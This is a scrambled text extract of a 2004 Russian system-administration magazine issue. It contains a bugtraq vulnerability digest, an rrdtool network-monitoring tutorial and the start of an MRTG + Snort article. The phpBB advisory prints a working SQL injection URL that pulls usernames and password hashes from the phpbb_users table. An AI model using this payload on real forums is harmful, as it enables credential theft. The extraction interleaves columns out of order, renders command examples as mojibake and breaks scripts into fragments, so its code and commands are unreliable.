$ cat temp.log | sed -e 's/HKCR/HKEY_CLASSES_ROOT/' -e ↵↵↵↵↵'s/HKCU/HKEY_CURRENT_USER/' -e ↵↵↵↵↵'s/HKLM/HKEY_LOCAL_MACHINE/' -e 's/HKU/HKEY_USER S/' ↵↵↵↵↵-e 's/HKCC/HKEY_CURRENT_CONFIG/' -e ↵↵↵↵↵'s/HKDD/HKEY_DYN_DATA/' > uedit_reg_inst_selected.log

$ echo "REGEDIT4" > final.reg; cat *.reg | grep -v ↵↵↵↵↵"REGEDIT4" >> final.reg

$ /opt/cxoffice/bin/regedit final.reg

Page 17: 018 Системный Администратор 05 2004

Небезопасный ActiveX-компонентпозволяет удаленному пользователювыполнять произвольные файлыв Norton Internet SecurityПрограмма: Norton Internet Security 2004.Опасность: Высокая.Описание: Уязвимость обнаружена в Norton InternetSecurity в WrapUM.dll ActiveX-компоненте. Удаленныйпользователь может выполнить произвольные програм-мы на целевой системе.

Сообщается, что WrapNISUM-класс (c:\program files\NortonInternet Security Professional\WrapUM.dll) помечен как бе-зопасный для сценариев и может эксплуатироваться уда-ленным пользователем, чтобы запускать произвольныепрограммы на целевой системе.

Удаленный пользователь может сконструироватьHTML, который, когда будет загружен целевым пользова-телем, выполнит произвольные программы на системе спривилегиями целевого пользователя.URL производителя: http://www.symantec.com.Решение: Установите обновление, доступное через Live-Update.

Уязвимость в обработке сокетовв Apache Web Server позволяетудаленному пользователю вызватьотказ в обслуживанииПрограмма: Apache Web Server 2.0.48 и ранние версии.Опасность: Средняя.Описание: Уязвимость обнаружена в веб-сервере Apache.Удаленный пользователь может вызвать условия отказав обслуживании.

Удаленный пользователь может установить кратков-ременное подключение к редко используемому сокету нацелевом сервере, чтобы заставить дочерний процессApache блокировать новые подключения, пока другое под-ключение не установится с редко используемым сокетом.

Уязвимы некоторые версии AIX, Solaris, и Tru64 UNIX.FreeBSD и Linux-системы не уязвимы.URL производителя: http://httpd.apache.org.Решение: Установите обновленную версию программы.

Несколько переполнений буферав различных анализаторах протоколовв EtherealПрограмма: Ethereal 0.8.13 – 0.10.2.Опасность: Высокая.Описание: Несколько уязвимостей обнаружено в Ethereal.Удаленный пользователь может выполнить произвольныйкод на целевой системе.

Уязвимости обнаружены в NetFlow, IGAP, EIGRP, PGM,IrDA, BGP, ISUP и TCAP анализаторах протоколов. Уда-ленный пользователь может аварийно завершить работусервера или выполнить произвольный код.URL производителя: http://www.ethereal.com/appnotes/enpa-sa-00013.html.Решение: Установите обновленную версию сниффера(0.10.3): http://www.ethereal.com/download.html.

Несколько уязвимостейв Oracle Application Server Web CacheПрограмма: Oracle Application Server 9.0.4.0.0, 9.0.3.1.0,9.0.2.3.0, и 9.0.0.4.0.Опасность: Высокая.Описание: Несколько уязвимостей обнаружено в OracleApplication Server Web Cache. Воздействие не раскрыва-ется, но уязвимости присвоен высокий риск.

Несколько уязвимостей обнаружено в Oracle ApplicationServer Web Cache. Природа уязвимости не раскрывается.

Уязвимы Sun Solaris, HP/UX, HP Tru64, IBM AIX, Linux иWindows-платформы.URL производителя: http://otn.oracle.com/deploy/security/pdf/2004alert66.pdf.Решение: Установите обновленную версию программы:http://metalink.oracle.com/metalink/plsql/ml2_documents.showDocument?p_database_id=NOT&p_id=265310.1.

Sql-инъекция в phpBB-форумеПрограмма: phpBB 2.0.8.Опасность: Высокая.Описание: Уязвимость в проверке правильности входныхданных обнаружена в phpBB в privmsg.php-сценарии. Уда-ленный пользователь может внедрить произвольный SQL-код. Пример:

URL производителя: http://www.phpbb.com.Решение: Способов устранения обнаруженной уязвимо-сти не существует в настоящее время.

Удаленное переполнение буфера в ProFTPDПрограмма: ProFTPD до версии 1.2.9rc3.Опасность: Высокая.Описание: Две уязвимости обнаружено в ProFTPD. Удален-ный авторизованный пользователь может выполнить произ-вольный код с root-привилегиями на целевой системе.

Два «off-by-one»-переполнения буфера обнаружено вProFTPD. Одно из переполнений связано с уязвимостью вASCII mode upload, которая была устранена в сентябрепрошлого года в ProFTPD 1.2.9rc2p.

Вторая уязвимость обнаружена в функции _xlate_ascii_write. Удаленный пользователь может представить специ-ально обработанную RETR-команду, чтобы вызвать пере-полнение буфера и выполнить произвольный код на уяз-вимой системе с root-привилегиями.URL производителя: http://www.proftpd.org.Решение: Установите обновленную версию программы(1.2.9rc3 ): http://www.proftpd.org.

http://localhost/phpbb206c/privmsg.php?folder=savebox&mode= ↵↵↵↵↵read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION ↵↵↵↵↵%20SELECT%20username,null,user_password,null,null, ↵↵↵↵↵null,null,null,null,null, null,null,null,null,null, ↵↵↵↵↵null,null,null,null,null,null,null,null,null,null,null,↵↵↵↵↵null,null,null,null,null,null FROM phpbb_users ↵↵↵↵↵WHERE user_level=1 LIMIT 1/*/privmsg.php?folder= ↵↵↵↵↵savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type= ↵↵↵↵↵-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ↵↵↵↵↵username,0,0,0,0,0,0,0,0,0,user_password FROM ↵↵↵↵↵phpbb_users WHERE user_id=2 LIMIT 1/*

Составил Александр Антипов

15№5(18), май 2004

bugtraq

Page 18: 018 Системный Администратор 05 2004

16

администрирование

Rrdtool была разработана в качестве альтернативы mrtg(написанной, кстати, тем же автором). Основной цельюавтора было ускорение работы и добавление расширен-ных возможностей по построению графиков, а также ус-тойчивость к сбоям. Rrdtool является очень «чистой» вплане понимания логики работы, но за это пришлось по-платиться отсутствием внешнего файла конфигурации.Этот недостаток пытались исправить во многих fron-end кrrdtool (http://www.rrdtool.com/rrdworld/index.html), но, на мойвзгляд, иногда проще написать грамотный скрипт, чемковыряться со множеством настроек в запутанном кон-фигурационном файле. Тем более что для сбора данныхс различных счетчиков выполняются практически анало-гичные действия.

Итак, рассмотрим общую логику работы rrdtool. Вна-чале мы создаем так называемую round-robin database(кольцевая или закольцованная база), в которую можнозаписывать показания счетчиков. Почему round-robin – т.к.в базе хранится только определенное количество ячеекданных, иначе постоянно увеличивающееся количествопоступающих данных просто-напросто переполнит файлданных лишней, устаревшей информацией.

Возникает закономерный вопрос – как сделать график,например, за год работы? Было выбрано очень грамот-

ВСЕВОЛОД СТАХОВ

Мониторинг сети и оборудования входит в однуиз основных обязанностей администратора.Например, постоянное слежение способновыявить узкие места сети, показать ростее загрузки, увидеть расход аппаратныхресурсов на серверах, вовремя обнаружитатаку и многое другое. Мониторинг можноделать самыми разнообразными способами,но, наверное, самым удобным являетсяграфическое представление данных,полученных от различных счетчиков.В данной статье речь пойдет об одной изнаиболее грамотно организованныхпрограмм для выполнения таких действий,а именно о rrdtool (http://www.rrdtool.com/).

ИСПОЛЬЗОВАНИЕ RRDTOOLДЛЯ МОНИТОРИНГА СЕТИ

ное решение – записывать в одну ячейку данных несколь-ко показателей, производя над ними некую статистичес-кую функцию. В каждую round-robin базу данных можнозаписывать несколько рядов ячеек, принимающих пока-затели из одного источника, но по-иному комбинируя по-ступающие данные. Ну а график строится банальным из-влечением данных из базы за определенный период. Каквсе это выглядит на практике?

В первую очередь нужно решить, за какими даннымимы будем следить. Естественно, на первый план выходитконтроль трафика маршрутизаторов, коммутаторов, на-грузка аппаратной части серверов (загрузка ЦП, исполь-зование жестких дисков, контроль работы сетевых интер-фейсов, объем свободной памяти и прочее), нагрузка насетевые сервисы, такие как http-, ftp-, proxy-сервера.

И первый вопрос, который встает перед нами, – каксобирать статистическую информацию. Наиболее общимрешением является использование протокола snmp, но этоне всегда является приемлемым для некоторых целей, на-пример, статистики http-сервера. Тогда на помощь прихо-дят различные утилиты анализа log-файлов, счетчики про-граммных firewall.

Если используется snmp, то для снятия статистики до-статочно иметь программы, вроде snmpget и документа-

Page 19: 018 Системный Администратор 05 2004

17№5(18), май 2004

администрирование

Думаю, необходимы некоторые пояснения.Параметр filename.rrd указывает имя файла rrdb (мо-

жет быть абсолютным или относительным, что, конечноже, решается на этапе подстановки самой shell), --step дли-тельность_шага – задает число секунд между предпола-гаемыми обновлениями rrdb, далее следуют определенияисточников данных (DS). Строки DS описывают источни-ки данных, которые будут поступать в rrdb, параметры DS-line означают следующее:! имя_источника_данных – символическое имя DS, по

которому к нему будет идти обращение;! тип_источника – символическая константа, определя-

ющая выбор функции для помещения нового значе-ния в rrdb, допустимые значения:! COUNTER: для получения текущего значения отсче-

та предыдущее значение счетчика вычитается из те-кущего и делится на интервал между отсчетами (на-пример, счетчик переданных байт для измеренияскорости). Переполнение счетчика обрабатываетсятолько для типа COUNTER. Счетчики могут хранитьтолько целые 32- или 64-битные числа;

! GAUGE: получаемое значение просто кладется в rrdb(например, для счетчика загрузки CPU или темпе-ратуры, когда нужна не разность, а само значение);

! DERIVE: COUNTER, который может уменьшаться(защиты от переполнения нет);

! ABSOLUTE: получаемое значение делится на интер-вал времени между отсчетами, полезно для обнуля-ющихся при чтении источников данных.

! интервал_определенности(heartbeat) – значение (в се-кундах), определяющее, сколько времени может прой-ти, пока при непоступлении новых данных от счетчикав rrdb будут записываться значения Unknown (обычноезначение – 2∗длительность_шага);

! min,max: минимальные и максимальные значения, ко-торые могут поступить с сенсора, в качестве значенияможет быть указан символ U, означающий отсутствиенижнего или верхнего пределов.

После опеределения DS для данной rrdb необходимоопеределить один или несколько round-robin архивов, длячего служит параметр RRA. Вообще понятие архива в дан-ном случае означает ряд значений, получаемых для DS иимеющего такие параметры, как число точек отсчета наячейку ряда и число ячеек в ряду. Все данные, осуществ-ляемые с rrdb происходят не через реальные значениясчетчиков, а через RRA, что позволяет вести статистикуразличных временных периодов и сильно сокращает раз-мер rrdb. Синтаксис RRA-line таков:! функция_консолидации – функция для объединения

данных, получаемых от датчика в ячейку RRA, можетпринимать следующие значения:! AVERAGE – высчитывается среднее арифметичес-

кое всех отсчетов;! MAX,MIN – максимальное и минимальное значение

отсчетов соответственно;! TOTAl – сумма всех отсчетов;

цию по OID соответствующего оборудования (например,по оборудованию Cisco всегда можно найти список под-держиваемых OID для конкретного устройства). В против-ном случае приходится вручную задавать команду для ана-лиза необходимых параметров. Главные критерии в вы-боре метода – скорость, доступность и надежность. Ко-нечно, необходимо учесть, что ценность статистическойинформации в ее постоянном контроле, то есть если взгля-нуть на состояние системы в данный момент, то вряд лиможно понять, справляется ли она с нагрузкой, увидетьрост нагрузки и выявить момент, когда что-либо будет нуж-даться в замене или усовершенствовании. Определив-шись с источником информации, можно приступить к на-писанию скрипта для rrdtool.

Для начала некоторые сведения о структуре скрип-тов. Прежде всего создаются два или три скрипта, одиниз которых выполняется однократно, создавая round-robinбазы данных при помощи rrdtool create. Далее необходи-мо периодически запускать скрипт обновления round-robin databases (далее rrdb), который снимает показанияс различных сенсоров и передает их в rrdb при помощиrrdtool-update, кроме того, в этот скрипт можно включитьгенерацию графиков (rrdtool graph). В некоторых случа-ях можно вынести генерацию графиков в cgi-скрипт, тог-да каждый раз при вызове cgi-скрипта будут генериро-ваться графики.

Второй вариант подходит при использовании mod_expire(модуль apache, позволяющий указать периоды устаре-вания статических данных, таких как рисунки) и являетсявесьма практичным, т.к. графики обновляются тогда, ког-да запрашиваются данные, и только в том случае, еслистарые данные устарели (очень большое преимуществопо сравнению c mrtg). При создании скрипта обновленияrrdb необходимо учесть, что вызываться он будет весьмачасто и при большом количестве собираемых данных мо-жет сильно «тормозить» систему. Для таких языков, какperl и python, написаны соответствующие библиотеки длядоступа к rrdb, поэтому часто целесообразно использо-вать именно их. Однако в данной статье я буду ориенти-роваться все же на shell-скрипты, т.к. наиболее ресурсо-емким является вызов внешних программ сбора данных,таких как snmpget.

Установка rrdtool проблем вызывать не должна – изу-чаем http://www.rrdtool.com/download.html и выбираемнужную версию в требуемом формате (для FreeBSD, на-пример, лучше всего использовать систему портов).Rrdtool содержит также несколько сторонних библиотек,таких как libgd (для генерации графики), libpng (для ге-нерации png-изображений), а также zlib (для компрессииизображений). Обязательно нужно указать в аргументахк configure --enable-shared=yes для создания разделяе-мых библиотек rrdtool для дальнейшего их использова-ния другими программами.

Итак, для начала опишу применение утилит из пакетаrrdtool. Для создания rrdb используется команда rrdtoolcreate, имеющая следующий синтаксис:

rrdtool create filename.rrd --step äëèòåëüíîñòü_øàãà ↵↵↵↵↵DS:èìÿ_èñòî÷íèêà_äàííûõ:òèï_èñòî÷íèêà: ↵↵↵↵↵èíòåðâàë_îïðåäåëåííîñòè:min:max ↵↵↵↵↵

RRA:ôóíêöèÿ_êîíñîëèäàöèè:äîñòîâåðíîñòü: ↵↵↵↵↵îòñ÷åòîâ_íà_ÿ÷åéêó:÷èñëî_ÿ÷ååê

Page 20: 018 Системный Администратор 05 2004

18

администрирование

! LAST – последний полученный отсчет.! достоверность – минимальное число отсчетов со зна-

чением Unknown(U), чтобы данная ячейка тоже приня-ла значение U, указывается в виде правильной деся-тичной дроби (обычно подходит значение 0.5);

! отсчетов_на_ячейку и число_ячеек – не нуждаются вкомментариях.

Приведу пример создания rrdb:

Эта команда создает rrdb myrouter.rrd для снятия ста-тистики с сетевого интерфейса маршрутизатора, предпо-лагая, что данные в нее будут поступать раз в 5 минут,задаются два источника данных: счетчик принятых и от-правленных байт, при этом счетчик не имеет ограниче-ний ни сверху, ни снизу. Создаются также 8 рядов, четы-ре из которых используют для консолидации данных фун-кцию AVERAGE, а остальные – MAX. При этом создаютсяследующие промежутки: 600 ячеек по 5 минут, 700 ячеекпо 30 минут (5∗6), 775 ячеек по два часа (5∗24), а также797 ячеек, хранящих статистику отсчетов за день. В дан-ном случае имитируется поведение mrtg, обрабатываю-щей такие же временные промежутки.

Для внесения данных со счетчиков в rrdb использует-ся команда rrdtool update, имеющая достаточно простойформат:

Параметр «время» может быть заменен символом «N»,что означает текущее время, также допускается задаватьвремя в UNIX-формате (вывод команды: date -u +%s) илив формате at(1). Хотя можно не заморачиваться этими про-блемами и просто использовать значение «N». ЗначенияDS указываются в том порядке, в котором они были опре-делены в rrdtool create (допускается альтернативный по-рядок, но тогда имена DS должны быть перечислены ука-занием опции: -t ds-name:ds-name:...). В качестве значе-ния можно использовать символ «U», обозначающий нео-пределенное значение. За один вызов rrdtool update в rrdbможет быть передано несколько отсчетов, для чего мож-но указать несколько строк: time:value[:value], разделен-ных пробелом. Скрипт, вызывающий rrdtool update, луч-ше всего запускать через интервал step, указанный присоздании rrdb. Приведу пример скрипта, осуществляющегообновление счетчиков принятых и отправленных байт че-рез маршрутизатор, на базе freebsd; также производитсямониторинг загрузки процессора:

Соответственно правила ipfw, обеспечивающие учеттрафика, выглядят следующим образом:

Счетчик загрузки процессора создается следующимобразом:

Отмечу, что для данного счетчика используется типGAUGE.

Далее перейдем к процедуре создания графиков. Дляэтого используется команда rrdtool graph, на мой взгляд,наиболее сложная по синтаксису и самая тяжелая дляпонимания. Здесь я привожу достаточно краткое ее опи-сание, за более подробной информацией советую обра-титься к странице Сергея Богомолова [1] или к страницеman rrdgraph (1).

Вызов rrdtool graph в общем имеет следующий формат:

Из опций можно выделить следующие наиболее упот-ребительные:! --start – точка начала отсчета графика;! --end – конечная временная точка графика;! --lazy – обновлять график только при устаревании це-

левого файла (смотрится mtime);! --imgformat – тип изображения (GIF, PNG или GD);! --title – заголовок для графика (кириллицу не понимает);! --lower-limit – нижний лимит значений;! --upper-limit – верхний лимит значений;! --rigid – не растягивать график, если встречаются зна-

чения, выходящие за верхний или нижний лимиты;! --width, --height – ширина и высота графика соответ-

ственно указывается в пикселях, по умолчанию rrdtoolрассчитывает ширину графика, исходя из параметра--step, задающего шаг, и числа отсчетов;

! --color – задание цвета различных элементов графи-ка, используется в виде:

где: TAG – один из элементов графика:! BACK – фон;! CANVAS – окаймление;! SHADEA – границы справа и сверху;! SHADEB – границы слева и снизу;! GRID – сетка;

rrdtool update èìÿ_rrdb.rrd ↵↵↵↵↵âðåìÿ:çíà÷åíèå_DS1[:çíà÷åíèå_DS2[:...]]

--#!/bin/shcpuload=`sysctl vm.loadavg | awk '{printf("2k 100 %s * ↵↵↵↵↵

# ipfw list00001 count ip from me to any00002 count ip from any to me

rrdtool create /usr/local/var/rrdtool/cpu.rrd -s 60 ↵↵↵↵↵DS:cpuusage:GAUGE:600:0:U ↵↵↵↵↵RRA:AVERAGE:0.5:1:483840 ↵↵↵↵↵RRA:MIN:0.5:1440:1 ↵↵↵↵↵RRA:MAX:0.5:1440:1

rrdtool graph filename [îïöèè] [îïðåäåëåíèÿ ïåðåìåííûõ] ↵↵↵↵↵[çàäàíèå ãðàôè÷åñêèõ ýëåìåíòîâ]

TAG:#rgbcolor

rrdtool create /usr/local/var/rrdtool/myrouter.rrd --step 300 ↵↵↵↵↵DS:input:COUNTER:600:U:U ↵↵↵↵↵DS:output:COUNTER:600:U:U ↵↵↵↵↵RRA:AVERAGE:0.5:1:600 ↵↵↵↵↵RRA:AVERAGE:0.5:6:700 ↵↵↵↵↵RRA:AVERAGE:0.5:24:775 ↵↵↵↵↵RRA:AVERAGE:0.5:288:797 ↵↵↵↵↵RRA:MAX:0.5:1:600 ↵↵↵↵↵RRA:MAX:0.5:6:700 ↵↵↵↵↵RRA:MAX:0.5:24:775 ↵↵↵↵↵RRA:MAX:0.5:288:797

p", $4)}' | dc | awk -F'.' '{print $1}'`inbytes=`ipfw show 1 | awk '{print $3}'`outbytes=`ipfw show 2 | awk '{print $3}'`/usr/local/bin/rrdtool update /usr/local/var/rrdtool ↵↵↵↵↵

/cpu.rrd N:${cpuload}/usr/local/bin/rrdtool update /usr/local/var ↵↵↵↵↵

/rrdtool/myrouter.rrd N:$inbytes:$outbytes

Page 21: 018 Системный Администратор 05 2004

19№5(18), май 2004

администрирование

! MGRID – основная сетка;! FONT – шрифт;! FRAME – границы непосредственно графика;! ARROW – стрелки.

Опцию --color можно использовать несколько раз дляуказания цвета различных элементов.

Это, разумеется, неполный список опций, но для боль-шинства задач его вполне хватает. В rrdtool graph есть,собственно говоря, два способа задания переменных.Один – непосредственно из rrdb, а другой – на базе оцен-ки некоторого выражения, составленного в обратнойпольской нотации. Рассмотрим оба этих способа. Для из-влечения данных из rrdb используется следующая конст-рукция:

где:! имя_переменной – символьное имя переменной;! rrdb – путь к rrdb-файлу;! ds-name – имя ряда, указанного в rrdtool create пара-

метром DS:name:...;! функция консолидации – любая из рассмотренных ра-

нее, используется в том случае, если отсчеты проис-ходили чаще, чем разрешение графика (идеальныйвариант – один отсчет на один пиксель), если разре-шение выше частоты отсчетов, то график масштаби-руется.

Следующий способ задания переменных графика зак-лючается в оценке выражения, записанного в обратнойпольской нотации (те, кто знаком, например, с калькулято-ром dc или некоторыми настольными калькуляторами HP,знают, что это такое). Идея записи такова: числа помеща-ются в стек, операторы извлекают нужное количество чи-сел из стека, проводят над ними необходимые операции ипомещают результат в стек. Например, выражение:

будет обработано следующим образом:

Выражения в обратной польской нотации очень легкообрабатывать программно (для обычной записи необхо-димо строить бинарное дерево операндов). Теперь вер-немся к rrdtool. Запись переменной таким способом выг-лядит следующим образом:

Операнды в выраженнии разделяются запятыми. Спи-сок операторов довольно широк:

! стандартные арифметические (+, -, *, /, %);! тригонометрические (SIN, COS);! алгебраические (LOG, EXP, FLOOR, CEIL);! сравнения (GT, GE (>=), LT, LE (<=), EQ, работают так –

берутся два числа из стека, сравниваются, в стек по-мещается 0 или 1, например: 1,2,LT поместит в стек 0(аналогично 1>2));

! условный оператор IF (из стека берутся три значения,если последнее истинно (не ноль) – в стек помещает-ся второе выражение, если ложно – то первое, напри-мер 1,2,LT,1,0,IF будет расцениваться так, если 1>2, топоместить в стек 1, иначе поместить 0);

! статистические (MIN, MAX, берут из двух значений изстека минимальное и максимальное соответственно);

! ограничения (LIMIT, берет три значения из стека:var,low,high – если var не лежит между low и high, то встек помещается UNKNOWN, иначе – var).

Есть еще ряд операций для работы непосредственносо стеком, но применяются они довольно редко, потомурассматриваться здесь не будут. Теперь перейдем к эта-пу задания отрисовки графика. Для этого существует рядпараметров. Общий вид директив, задающих линии и об-ласти, на графике таков:

где:! #rgbcolor – цвет, заданный в RGB-стандарте,! легенда – подпись под графиком, описывающая линию

или область.

Поле «тип» может принимать следующие значения:! HRULE – горизонтальная линия на графике (идет па-

раллельно шкале времени);! VRULE – вертикальная линия на графике (переменная

должна быть временного типа, для чего в CDEF суще-ствуют функция TIME);

! LINE{1,2,3} – линия заданной толщины (1 – невидимая,3 – самая толстая);

! AREA – закрашенная область;! STACK – рисует линию над предыдущей линией (за-

данной LINE, AREA или другим STACK) на расстоянии,равном значению переменной.

Для вывода текстовой информации под графиком ис-пользуется директива:

Параметр «формат» определяет метод вывода чиселс плавающей точкой (%lf - фиксированная запятая, %lg –автовыбор, %le – экспоненциальный) и выравнивание:! \l – влево;! \r – вправо;! \c – в центр;! \j – по ширине.

Например:

DEF:èìÿ_ïåðåìåííîé=rrdb:ds-name:ôóíêöèÿ_êîíñîëèäàöèè

2 3 +

ïîìåñòèòü â ñòåê ÷èñëî 22 -> .ïîìåñòèòü â ñòåê ÷èñëî 32 -> 3 -> .âçÿòü èç ñòåêà äâà ÷èñëà è ñëîæèòü èõ, ðåçóëüòàò ïîìåñòèòüîáðàòíî â ñòåê5 -> .

CDEF:èìÿ_ïåðåìåííîé=âûðàæåíèå

Òèï:èìÿ_ïåðåìåííîé[#rgbcolor[:ëåãåíäà]]

GPRINT:èìÿ_ïåðåìåííîé:ôóíêöèÿ_êîíñîëèäàöèè:ôîðìàò

Page 22: 018 Системный Администратор 05 2004

20

администрирование

Также можно добавлять %s, что вставит дополнитель-ный пробел по вертикали между текстом и легендой, на-пример %lg%s\r. Приведу пример скрипта, который созда-ет графики загрузки CPU и сетевого интерфейса:

Графики, сгенерированные данным скриптом, будутвыглядеть следующим образом:

В графике загрузки CPU задаются две зоны – нормаль-ная нагрузка и перегрузка. Перегрузка наступает при заг-руженности процессора на более чем 50 %. В графикезагрузки сети происходит перерасчет байт, возвращае-мых счетчиками ipfw в биты, в которых принято меритьнагрузку сети. В данном примере генерируются одноднев-ные графики. Изменив переменную $PAST, можно добить-ся генерации графиков за нужный период времени.

Для запуска скрипта обновления и генерации картиноккаждую минуту пишем в /etc/crontab следующую строчку:

Для более же удобной генерации картинок можно ис-пользовать специальный cgi-интерпертатор rrdcgi, позво-

ляющий вставлять теги вида: <RRD::COMMAND>.Генерация графика с его помощью будет выглядеть

следующим образом:

Учтите, что директория, куда производится запись кар-тинок, должна быть доступна для записи пользователю, подкоторым работает apache (по умолчанию nobody:nobody).Параметр --lazy указан, чтобы не «дергать» rrdgraph причрезмерно частом обновлении страницы.

В данной статье я не буду приводить много примеровграфиков. В дебрях Интернета я нашел набор скриптов,который позволит решить большинство проблем и выпол-нить мониторинг основных параметров FreeBSD-маршру-тизатора. Хотя чаще всего бывает полезнее использоватьsnmp для сбора разнообразной информации из гетеро-генной сети.

Учтите, что главное в мониторинге – его постоянность,поэтому компьютер, на котором накапливаются статисти-ческие данные, должен быть хорошо защищен и стаби-лен. Только так можно проследить динамику развития ин-фраструктуры сети и предложить замену узких мест (по-дойти к начальству и продемонстрировать графики про-изводительности намного эффективнее, нежели пытать-ся объяснить все на пальцах: «Ну эта, тормозит!»).

Rrdtool дает гораздо больше возможностей, нежелиmrtg, поэтому совершенствовать графики и скрипты мож-но постоянно, заставляя их показывать ту информацию,которая нужна. Конечно же, обычно наиболее полезнымявляется сбор статистики каждого устройства за опреде-ленный промежуток времени (день, месяц, год). Как вымогли убедиться, реализовать такое поведение не долж-но составить труда.

Список ссылок:1. http://www.rrdtool.com/ – основной сайт rrdtool, ссылки

на front-end, различные скриншоты, документация иморе всего полезного.

2. http://bog.pp.ru/work/rrdtool.html – неплохой перевод до-кументации к rrdtool.

3. http://www.ag0ny.com/graphs/ – набор скриптов для ге-нерации графиков работы FreeBSD маршрутизатора(очень просты и удобны).

4. http://www.rrdtool.com/rrdworld/index.html – список раз-нообразных front-end к rrdtool, полезны, когда нет вре-мени и желания писать скрипт.

#/bin/shWWWPREFIX=/usr/local/www/htdocs/rrdtoolRRDPREFIX=/usr/local/var/rrdtool/usr/local/bin/rrdtool graph $WWWPREFIX/cpuusage.png ↵↵↵↵↵

--width 400 --start -1d --end now--title "CPU usage" ↵↵↵↵↵DEF:cpuusage=$RRDPREFIX/cpu.rrd:cpuusage:AVERAGE ↵↵↵↵↵"CDEF:percent=cpuusage" ↵↵↵↵↵CDEF:huge=percent,50,GT,percent,0,IF ↵↵↵↵↵CDEF:good=percent,50,GT,0,percent,IF ↵↵↵↵↵HRULE:100#0000FF:"Maximum allowed" ↵↵↵↵↵AREA:good#00FF00:"Good load" ↵↵↵↵↵AREA:huge#FF0000:"Overload!!"

/usr/local/bin/rrdtool graph $WWWPREFIX/myrouter.png ↵↵↵↵↵--width 400 --start -1d --end now--title "Network usage" ↵↵↵↵↵DEF:inoctets=$RRDPREFIX/myrouter.rrd:input:AVERAGE ↵↵↵↵↵DEF:outoctets=$RRDPREFIX/myrouter.rrd:output:AVERAGE ↵↵↵↵↵"CDEF:inbits=inoctets,8,*" ↵↵↵↵↵"CDEF:outbits=outoctets,8,*" ↵↵↵↵↵AREA:inbits#00FF00:"In traffic" ↵↵↵↵↵LINE1:outbits#0000FF:"Out traffic"

%lf\c

<begin cut>* * * * * root /usr/local/libexec/rrdtools-update.sh > ↵↵↵↵↵

/dev/null<end cut>

#!/usr/local/bin/rrdcgi<HTML><HEAD><TITLE>RRDCGI Demo</TITLE></HEAD><BODY><H1>Demo of CPU usage graph</H1><P><RRD::GRAPH ../htdocs/images/cpu.png --lazy ↵↵↵↵↵

--width 400 --start -1d --end now--title "CPU usage" ↵↵↵↵↵--imginfo '<IMG SRC=/images/%s WIDTH=%lu HEIGHT=%lu >' ↵↵↵↵↵DEF:cpuusage=/usr/local/var/rrdtool/cpu.rrd:cpuusage:AVERAGE ↵↵↵↵↵"CDEF:percent=cpuusage" ↵↵↵↵↵CDEF:huge=percent,50,GT,percent,0,IF ↵↵↵↵↵CDEF:good=percent,50,GT,0,percent,IF ↵↵↵↵↵HRULE:100#0000FF:"Maximum allowed" ↵↵↵↵↵AREA:good#00FF00:"Good load" ↵↵↵↵↵AREA:huge#FF0000:"Overload!!">

</P></BODY></HTML>

Page 23: 018 Системный Администратор 05 2004
Page 24: 018 Системный Администратор 05 2004

22

безопасность

MRTG + SNORT

«Лучше один раз увидеть, чем сто раз услышать» гласит пословица. Многие вещи мы лучшепонимаем, представляем и запоминаем, если видели их собственными глазами. При этом невсякое нами увиденное воспринимается одинаково хорошо. Очень сильно на процесс восприятиявлияет наглядность. В этой статье будет рассмотрен именно такой вариант отображения данныхоб интенсивности атак, регистрируемых с помощью Snort. В качестве средства отображенияиспользуется MRTG.

ПАВЕЛ ЗАКЛЯКОВ

Page 25: 018 Системный Администратор 05 2004

23№5(18), май 2004

безопасность

Предполагается, что имеется СОА Snort, данные с одногоили нескольких сенсоров которой заносятся в БД инци-дентов. Необходимо организовать визуальное отображе-ние среднего уровня атак в зависимости от времени. Дляотображения удобнее всего использовать штатное сред-ство большинства Linux-систем – MRTG (The Multi RouterTraffic Grapher) [1, 2 стр. 52-53, 3 стр. 316, 4 стр. 208-216].Предполагается, что MRTG у вас уже установлен. Рассмот-рим его настройку. Конфигурационный файл MRTG обыч-но называется mrtg.cfg и находится в директории /etc/mrtg.Нам необходимо отредактировать или создать заново этотфайл, добавив туда следующие строки:

После того как внесена правка в конфигурационныйфайл mrtg.cfg, необходимо создать файл, на который мысделали ссылку в поле Target[snort]: /etc/mrtg/snort_stat.pl.Этот файл будет запускаться по запросу mrtg, и он долженподключаться к БД snort и подсчитывать число атак, на-пример за последние 5 минут, после чего выдавать это зна-чение в требуемом mrtg формате. Реализовать даннуюидею возможно с помощью следующего SQL-запроса:

который фактически является основным ядром нижесле-дующего perl-скрипта, который лишь осуществляет авто-матизацию процесса подключения и работы с БД и выво-дит результат в нужном формате.

Перед созданием скрипта убедимся, что данный зап-рос работает правильно, подключившись к БД из консоли

от имени пользователя snort. Выполним подключение ко-мандой:

введя после соответствующий пароль, если он был задан.Далее выберем БД snort командой:

и выполним вышеописанный SQL-запрос. В результате наэкране у вас может быть примерно следующее:

Если БД с инцидентами у вас достаточно большая, тозапрос может выполняться несколько десятков секунд.

Убедившись, что число строк в таблице event, времякоторых лежит в интервале последних 300 секунд, счита-ется правильно, создадим файл snort_stat.pl в директории/etc/mrtg, который будет выполнять все проделанные намидействия в автоматическом режиме. Подробнее о созда-нии подобных скриптов можно прочитать в [7, 8].

